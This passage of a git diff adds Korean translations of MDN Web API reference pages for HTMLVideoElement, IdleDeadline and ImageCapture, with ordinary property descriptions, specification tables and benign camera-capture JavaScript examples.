+<p>{{Compat("api.HTMLTitleElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인터페이스를 구현하는 HTML 요소 {{ HTMLElement("title") }}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlvideoelement/index.html b/files/ko/web/api/htmlvideoelement/index.html
new file mode 100644
index 0000000000..f3037ee675
--- /dev/null
+++ b/files/ko/web/api/htmlvideoelement/index.html
@@ -0,0 +1,117 @@
+---
+title: HTMLVideoElement
+slug: Web/API/HTMLVideoElement
+translation_of: Web/API/HTMLVideoElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLVideoElement</code></strong> 인터페이스는 Video object를 조작하는데 필요한 프로퍼티와 메소드를 제공합니다. {{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}를 상속합니다.</p>
+
+<p><a href="/en-US/docs/HTML/Supported_media_formats">지원하는 미디어 포맷</a> 목록은 브라우저마다 다릅니다. 여러분은 적절한 범위의 브라우저에서 지원하는 한가지 비디어 포맷을 제공하던가, 지원할 모든 브라우저를 위한 여러 종류의 미디어 포맷을 제공해야 합니다.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="속성(Properties)">속성(Properties)</h2>
+
+<p><em>{{domxref("HTMLMediaElement")}}와 </em><em>{{domxref("HTMLElement")}}의 속성들도 상속 받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.height")}}</dt>
+ <dd>표시 영역의 높이를 나타내는 HTML Attribute {{htmlattrxref("height", "video")}}의 값을  {{domxref("DOMString")}}으로 반환합니다. 단위는 pixel입니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.poster")}}</dt>
+ <dd>비디오 데이터가 없을 때 보여줄 이미지를 지정하는 HTML Attribute {{htmlattrxref("poster", "video")}}의 값을 {{domxref("DOMString")}}로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}</dt>
+ <dd>비디오의 height를 부호 없는 정수로 나타낸 값을 반환합니다. 비디오가 없는 경우 0을 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}</dt>
+ <dd>비디오의 width를 부호 없는 정수로 나타낸 값을 반환합니다. 비디오가 없는 경우 0을 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.width")}}</dt>
+ <dd>표시 영역의 높이를 나타내는 HTML Attribute {{htmlattrxref("width", "video")}}의 값을  {{domxref("DOMString")}}으로 반환합니다. 단위는 pixel입니다.</dd>
+</dl>
+
+<h3 id="Gecko_전용_속성">Gecko 전용 속성</h3>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.mozParsedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>미디어 소스에서 파싱된 비디오 프레임 수를 <code>unsigned long</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>화상으로 디코딩 된 비디오 프레임 수를 <code>unsigned long</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>렌더링 파이프 라인을 통해 출력된 디코드 프레임 수를 <code>unsigned long</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>화면에 그려진 프레임 수를 <code>unsigned long</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozFrameDelay")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>지연 출력된 비디오 프레임을 초 단위로 <code>double</code> 값으로 반환한다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozHasAudio")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>비디오와 연관된 오디오 존재 여부를 {{JSxRef("Boolean","boolean")}} 값으로 반환한다.</dd>
+</dl>
+
+<h3 id="Microsoft_확장_속성">Microsoft 확장 속성</h3>
+
+<dl>
+ <dt>{{DOMxRef("HTMLVideoElement.msFrameStep()")}} {{Non-standard_Inline}}</dt>
+ <dd>프레임 단위로 앞/뒤로 이동합니다.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msHorizontalMirror")}} {{Non-standard_Inline}}</dt>
+ <dd>비디오의 좌/우 반전 시키거나 반전된 상태를 반환합니다.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msInsertVideoEffect()")}} {{Non-standard_Inline}}</dt>
+ <dd>미디어 파이프라인에 특정 비디오 효과를 추가합니다.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msIsLayoutOptimalForPlayback")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>더 효과적인 비디오 렌더링이 가능하면 true를 반환합니다.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msIsStereo3D")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>시스템이 비디오를 stereo 3-D로 판단하였는지 여부를 반환합니다. 값을 true로 지정한다면 video를 stereo 3-D로 인식합니다..</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msZoom")}} {{Non-standard_Inline}}</dt>
+ <dd>비디오 프레임을 출력부에 딱 맞게 트림합니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 메소드도 상속 받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}</dt>
+ <dd>현재 재생 결과를 담고 있는 {{domxref("VideoPlaybackQuality")}} 객체를 반환합니다. 전체 프레임 중 drop 되거나 손실된 프레임 등 재생 정보를 포함합니다.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p><em>{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 이벤트를 상속합니다. </em><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> 메소드 또는 <code>on<em>eventname</em></code> 프로퍼티에 리스너를 전달하여 이벤트를 수신합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}</td>
+ <td>{{Spec2("Media Source Extensions")}}</td>
+ <td><code>getVideoPlaybackQuality()</code> 메소드 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#htmlvideoelement", "HTMLVideoElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLVideoElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLVideoElement")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>HTML 엘리먼트 구현체: {{HTMLElement("video")}}.</li>
+ <li><a class="external" href="http://people.mozilla.org/~cpearce/paint-stats-demo.html">Demo of video paint statistics</a>(링크 소멸)</li>
+ <li><a href="/en-US/docs/HTML/Supported_media_formats">지원하는 미디어 포맷</a></li>
+</ul>
diff --git a/files/ko/web/api/idledeadline/didtimeout/index.html b/files/ko/web/api/idledeadline/didtimeout/index.html
new file mode 100644
index 0000000000..e806769576
--- /dev/null
+++ b/files/ko/web/api/idledeadline/didtimeout/index.html
@@ -0,0 +1,58 @@
+---
+title: IdleDeadline.didTimeout
+slug: Web/API/IdleDeadline/didTimeout
+translation_of: Web/API/IdleDeadline/didTimeout
+---
+<div>{{APIRef("Background Tasks")}}</div>
+
+<p><strong>{{domxref("IdleDeadline")}}</strong> 인터페이스의 읽기 전용 속성(property)인 <strong><code>didTimeout</code></strong> 는 {{domxref("Window.requestIdleCallback()")}}이 호출될 때 지정된 timeout 간격이 만료되어, 유휴 콜백(idle callback)이 호출되는지 여부를 나타내는 Boolean 값 입니다.</p>
+
+<p><code>didTimeout</code> 이 <code>true</code> 면, <code>IdleDeadline</code> 객체의 {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드는 대략 0을 반환합니다..</p>
+
+<p>유휴 콜백은 사용자 에이전트가 충분한 유휴 시간을 사용할 수 없는 경우에도, 수행하려는 작업이 실제로 발생하는지 확인하기 위해 timeout 개념을 지원합니다. 브라우저가 너무 바빠서 시간을 허락하지 않더라도, 액션을 수행해야 하는 경우 콜백은 일반적으로 <code>didTimeout</code>값을 확인합니다. 필요로 하는 작업을 수행하거나, 이상적인 상황을 유지하기 위해 수행할 수 있는 최소한의 작업을 수행하도록 대응하고, 새로운 콜백을 예약하여 나머지 작업을 다시 시도하도록 해야합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>timedOut</em> = <em>IdleDeadline</em>.didTimeout;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Boolean 으로, 콜백의 timeout 기간이 경과하여 콜백이 실행 중이면 <code>true</code> 입니다. 사용자 에이전트가 유휴 상태이고 콜백에 시간을 제공하고 있기 때문에 콜백이 실행 중이면, <code>false</code> 입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p><a href="/ko/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>의 <a href="/ko/docs/Web/API/Background_Tasks_API#Example">complete example</a> 를 참조하세요</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Background Tasks")}}</td>
+ <td>{{Spec2("Background Tasks")}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.IdleDeadline.didTimeout")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Collaborative Scheduling of Background Tasks</a></li>
+ <li>{{domxref("IdleDeadline")}}</li>
+ <li>{{domxref("Window.requestIdleCallback()")}}</li>
+ <li>{{domxref("Window.cancelIdleCallback()")}}</li>
+</ul>
diff --git a/files/ko/web/api/idledeadline/index.html b/files/ko/web/api/idledeadline/index.html
new file mode 100644
index 0000000000..0ebb461482
--- /dev/null
+++ b/files/ko/web/api/idledeadline/index.html
@@ -0,0 +1,66 @@
+---
+title: IdleDeadline
+slug: Web/API/IdleDeadline
+translation_of: Web/API/IdleDeadline
+---
+<div>{{APIRef("Background Tasks")}}</div>
+
+<div id="interface_description">
+<p><code>IdleDeadline</code> 인터페이스는 {{domxref("Window.requestIdleCallback()")}}을 호출하여 설정된 유휴 콜백(idle callback)에 대한 입력 매개변수(parameter)의 데이터 타입으로 사용됩니다. {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드를 제공하여 사용자 에이전트가 유휴 상태로있을 것으로 추정하는 시간과 속성(property)인 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 결정할 수있게하여, timeout 기간이 만료되어 콜백이 실행 중인지 여부를 결정할 수 있습니다.</p>
+
+<p>request callback이 작동하는 방식에 대해 자세히알아 보려면, <a href="/ko/docs/Web/API/Background_Tasks_API">Collaborative Scheduling of Background Tasks</a> 문서를 읽어보세요.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<dl id="property_definitions">
+ <dt>{{domxref("IdleDeadline.didTimeout")}} {{ReadOnlyInline}}</dt>
+ <dd>유휴 콜백을 구현할 때 지정한 timeout이 만료되었음에도 콜백이 실행중인 경우, 값이 true인 Boolean 입니다.</dd>
+</dl>
+
+<h2 id="methods" name="methods">Methods</h2>
+
+<dl id="method_definitions">
+ <dt>{{domxref("IdleDeadline.timeRemaining()")}}</dt>
+ <dd>현재 유휴 기간(idle period)에 남아있는 밀리초 수를 예측하는 부동 소수점 값인 {{domxref("DOMHighResTimeStamp")}}를 반환합니다. 유휴 기간이 끝나면 값은 0 입니다. 우리의 콜백은 이것을 반복적으로 호출하여, 반환하기 전에 더 많은 작업을 할 수 있는 충분한 시간이 있는지 확인할 수 있습니다.</dd>
+</dl>
+
+<dl id="method_definitions_obsolete">
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p><a href="/ko/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>의 <a href="/ko/docs/Web/API/Background_Tasks_API#Example">complete example</a>를 참조하세요.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Background Tasks")}}</td>
+ <td>{{Spec2("Background Tasks")}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.IdleDeadline")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a></li>
+ <li>{{domxref("Window.requestIdleCallback()")}}</li>
+ <li>{{domxref("Window.cancelIdleCallback()")}}</li>
+</ul>
diff --git a/files/ko/web/api/imagecapture/getphotocapabilities/index.html b/files/ko/web/api/imagecapture/getphotocapabilities/index.html
new file mode 100644
index 0000000000..9ee855a96d
--- /dev/null
+++ b/files/ko/web/api/imagecapture/getphotocapabilities/index.html
@@ -0,0 +1,79 @@
+---
+title: ImageCapture.getPhotoCapabilities()
+slug: Web/API/ImageCapture/getPhotoCapabilities
+tags:
+ - API
+ - Experimental
+ - ImageCapture
+ - MediaStream Image Capture API
+ - Method
+ - Reference
+translation_of: Web/API/ImageCapture/getPhotoCapabilities
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary">{{domxref("ImageCapture")}} 인터페이스의 <strong><code>getPhotoCapabilities()</code></strong> 메서드는 사용 가능한 설정 옵션을 담은 {{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>capabilitiesPromise</em> = <em>imageCaptureObj</em>.getPhotoCapabilities()</pre>
+
+<h3 id="반환_값"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.375rem;'>반환 값</span></h3>
+
+<p>{{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <a href="https://googlechrome.github.io/samples/image-capture/photo-resolution.html">Chrome의 Image Capture / Photo Resolution Sample</a>에서 가져온 코드로, <code>getPhotoCapabilities()</code>를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.</p>
+
+<pre class="brush: js">const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream =&gt; {
+ document.querySelector('video').srcObject = mediaStream;
+
+ const track = mediaStream.getVideoTracks()[0];
+ imageCapture = new ImageCapture(track);
+
+ return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities =&gt; {
+ const settings = imageCapture.track.getSettings();
+
+ input.min = photoCapabilities.imageWidth.min;
+ input.max = photoCapabilities.imageWidth.max;
+ input.step = photoCapabilities.imageWidth.step;
+
+ return imageCapture.getPhotoSettings();
+})
+.then(photoSettings =&gt; {
+ input.value = photoSettings.imageWidth;
+})
+.catch(error =&gt; console.log('Argh!', error.name || error));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image','#dom-imagecapture-getphotocapabilities','getPhotoCapabilities()')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.getPhotoCapabilities")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/getphotosettings/index.html b/files/ko/web/api/imagecapture/getphotosettings/index.html
new file mode 100644
index 0000000000..b82bd7290d
--- /dev/null
+++ b/files/ko/web/api/imagecapture/getphotosettings/index.html
@@ -0,0 +1,86 @@
+---
+title: ImageCapture.getPhotoSettings()
+slug: Web/API/ImageCapture/getPhotoSettings
+tags:
+ - API
+ - Experimental
+ - ImageCapture
+ - MediaStream Image Capture API
+ - Method
+ - Reference
+translation_of: Web/API/ImageCapture/getPhotoSettings
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary">{{domxref("ImageCapture")}} 인터페이스의 <strong><code>getPhotoSettings()</code></strong> 메서드는 현재 촬영 설정을 담은 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>settingsPromise</em> = <em>imageCapture</em>.getPhotoSettings()</pre>
+
+<h3 id="반환_값"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.375rem;'>반환 값</span></h3>
+
+<p>다음의 속성으로 구성된 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}.</p>
+
+<ul>
+ <li><code>fillLightMode</code>: 캡처 장치의 플래시 설정. <code>"auto"</code>, <code>"off"</code>, <code>"flash"</code> 중 하나를 사용할 수 있습니다.</li>
+ <li><code>imageHeight</code>: 원하는 이미지 크기의 높이를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, {{glossary("user agent", "사용자 에이전트")}}는 이 값과 제일 가까운 높이를 사용합니다.</li>
+ <li><code>imageWidth</code>: 원하는 이미지 크기의 너비를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, 사용자 에이전트는 이 값과 제일 가까운 너비를 사용합니다.</li>
+ <li><code>redEyeReduction</code>: 적목 현상 감소 기능이 존재하는 경우, 사용할지 나타내는 불리언 값.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <a href="https://googlechrome.github.io/samples/image-capture/photo-resolution.html">Chrome의 Image Capture / Photo Resolution Sample</a>에서 가져온 코드로, <code>getPhotoCapabilities()</code>를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.</p>
+
+<pre class="brush: js"><code>const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream =&gt; {
+ document.querySelector('video').srcObject = mediaStream;
+
+ const track = mediaStream.getVideoTracks()[0];
+ imageCapture = new ImageCapture(track);
+
+ return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities =&gt; {
+ const settings = imageCapture.track.getSettings();
+
+ input.min = photoCapabilities.imageWidth.min;
+ input.max = photoCapabilities.imageWidth.max;
+ input.step = photoCapabilities.imageWidth.step;
+
+ return imageCapture.getPhotoSettings();
+})
+.then(photoSettings =&gt; {
+ input.value = photoSettings.imageWidth;
+})
+.catch(error =&gt; console.log('Argh!', error.name || error));</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image','#dom-imagecapture-getphotosettings','getPhotoSettings()')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.getPhotoSettings")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/grabframe/index.html b/files/ko/web/api/imagecapture/grabframe/index.html
new file mode 100644
index 0000000000..3a0b53ff05
--- /dev/null
+++ b/files/ko/web/api/imagecapture/grabframe/index.html
@@ -0,0 +1,73 @@
+---
+title: ImageCapture.grabFrame()
+slug: Web/API/ImageCapture/grabFrame
+tags:
+ - API
+ - Experimental
+ - ImageCapture
+ - MediaStream Image Capture API
+ - Method
+ - Reference
+translation_of: Web/API/ImageCapture/grabFrame
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary">{{domxref("ImageCapture")}} 인터페이스의 <strong><code>grabFrame()</code></strong> 메서드는 {{domxref("MediaStreamTrack")}}의 라이브 비디오에서 스냅샷을 찍고, 그 결과를 담은 {{domxref("ImageBitmap")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>bitmapPromise</em> = <em>imageCapture</em>.grabFrame()
+</pre>
+
+<h3 id="반환_값"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.375rem;'>반환 값</span></h3>
+
+<p>{{domxref("ImageBitmap")}} 객체로 이행하는 {{jsxref("Promise")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <a href="https://simpl.info/imagecapture/">Simple Image Capture 데모</a>에서 가져온 것으로, <code>grabFrame()</code>이 반환한 {{jsxref("Promise")}}의 {{domxref("ImageBitmap")}}을 사용해 {{htmlelement("canvas")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.</p>
+
+<pre class="brush: js">var grabFrameButton = document.querySelector('button#grabFrame');
+var canvas = document.querySelector('canvas');
+
+grabFrameButton.onclick = grabFrame;
+
+function grabFrame() {
+  imageCapture.grabFrame()
+  .then(function(imageBitmap) {
+    console.log('Grabbed frame:', imageBitmap);
+    canvas.width = imageBitmap.width;
+    canvas.height = imageBitmap.height;
+    canvas.getContext('2d').drawImage(imageBitmap, 0, 0);
+    canvas.classList.remove('hidden');
+  })
+ .catch(function(error) {
+    console.log('grabFrame() error: ', error);
+  });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image','#dom-imagecapture-grabframe','grabFrame()')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.grabFrame")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/imagecapture/index.html b/files/ko/web/api/imagecapture/imagecapture/index.html
new file mode 100644
index 0000000000..34841fe2d2
--- /dev/null
+++ b/files/ko/web/api/imagecapture/imagecapture/index.html
@@ -0,0 +1,67 @@
+---
+title: ImageCapture() 생성자
+slug: Web/API/ImageCapture/ImageCapture
+tags:
+ - API
+ - Constructor
+ - Experimental
+ - ImageCapture
+ - MediaStream Image Capture API
+ - Reference
+translation_of: Web/API/ImageCapture/ImageCapture
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary"><strong><code>ImageCapture()</code></strong> 생성자는 새로운 {{domxref("ImageCapture")}} 객체를 생성합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>imageCapture</em> = new ImageCapture(<em>videoTrack</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>videoTrack</code></dt>
+ <dd>이미지를 가져올 때 사용할 {{domxref("MediaStreamTrack")}}. 화상전화 스트림, 재생 중인 영화, 웹캠 스트림 등 모든 출처를 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 비디오 트랙에서 정지 프레임을 캡처할 수 있는 <code>ImageCapture</code> 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 {{domxref("MediaDevices.getUserMedia()")}}을 사용해, <code>ImageCapture()</code> 생성자에 필요한 {{domxref("MediaStreamTrack")}}을 가져오는 법을 보입니다.</p>
+
+<pre class="brush: js"> navigator.mediaDevices.getUserMedia({video: true})
+ .then(mediaStream =&gt; {
+  document.querySelector('video').srcObject = mediaStream
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+ })
+ .catch(error =&gt; console.log(error));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image','#dom-imagecapture-imagecapture','ImageCapture')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.ImageCapture")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/index.html b/files/ko/web/api/imagecapture/index.html
new file mode 100644
index 0000000000..4e96539bc1
--- /dev/null
+++ b/files/ko/web/api/imagecapture/index.html
@@ -0,0 +1,123 @@
+---
+title: ImageCapture
+slug: Web/API/ImageCapture
+tags:
+ - API
+ - Experimental
+ - ImageCapture
+ - Interface
+ - MediaStream Image Capture API
+ - Reference
+translation_of: Web/API/ImageCapture
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><a href="/ko/docs/Web/API/MediaStream_Image_Capture_API">MediaStream Image Capture API</a>의 <strong><code>ImageCapture</code></strong> 인터페이스는 유효한 {{domxref("MediaStreamTrack")}}이 참조하는 카메라 또는 기타 촬영 장치를 통해 이미지나 사진을 촬영하기 위한 메서드를 제공합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}}</dt>
+ <dd>비디오 스트림을 나타내는 {{domxref("MediaStreamTrack")}}에서 정지 프레임(사진)을 캡처하기 위한 <code>ImageCapture</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("ImageCapture.track")}} {{readonlyinline}}</dt>
+ <dd>생성자에 전달한 {{domxref("MediaStreamTrack")}}의 참조를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>ImageCapture</code> 인터페이스는 {{domxref("EventTarget")}}의 메서드를 상속하며, 다음 메서드도 포함합니다.</p>
+
+<dl>
+ <dt>{{domxref("ImageCapture.takePhoto()")}}</dt>
+ <dd>{{domxref("MediaStreamTrack")}}의 출처 비디오 캡처 장치를 통해 단일 노출 촬영을 한 후, 그 데이터를 담은 {{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("ImageCapture.getPhotoCapabilities()")}}</dt>
+ <dd>가능한 설정 옵션을 담은 {{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("ImageCapture.getPhotoSettings()")}}</dt>
+ <dd>현재 사진 설정을 담은 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("ImageCapture.grabFrame()")}}</dt>
+ <dd>{{domxref("MediaStreamTrack")}}의 라이브 비디오에서 스냅샷을 찍은 후, 성공했으면 {{domxref("ImageBitmap")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 <a href="https://googlechrome.github.io/samples/image-capture/grab-frame-take-photo.html">Chrome의 Grab Frame - Take Photo Sample</a>에서 가져온 것입니다. <code>ImageCapture</code>는 이미지를 캡처할 도구가 필요하므로, 다음 예제는 브라우저 단말기의 미디어 장치(카메라)로 시작합니다.</p>
+
+<p>이 예제는 {{domxref("MediaStream")}}으로부터 추출한 {{domxref("MediaStreamTrack")}}부터 시작합니다. 그 다음엔 해당 트랙을 사용해 <code>takePhoto()</code>와 <code>grabFrame()</code>을 호출할 <code>ImageCapture</code> 객체를 생성합니다. 마침내, 최종 결과를 캔버스 객체에 적용합니다.</p>
+
+<pre class="brush: js">var imageCapture;
+
+function onGetUserMediaButtonClick() {
+ navigator.mediaDevices.getUserMedia({video: true})
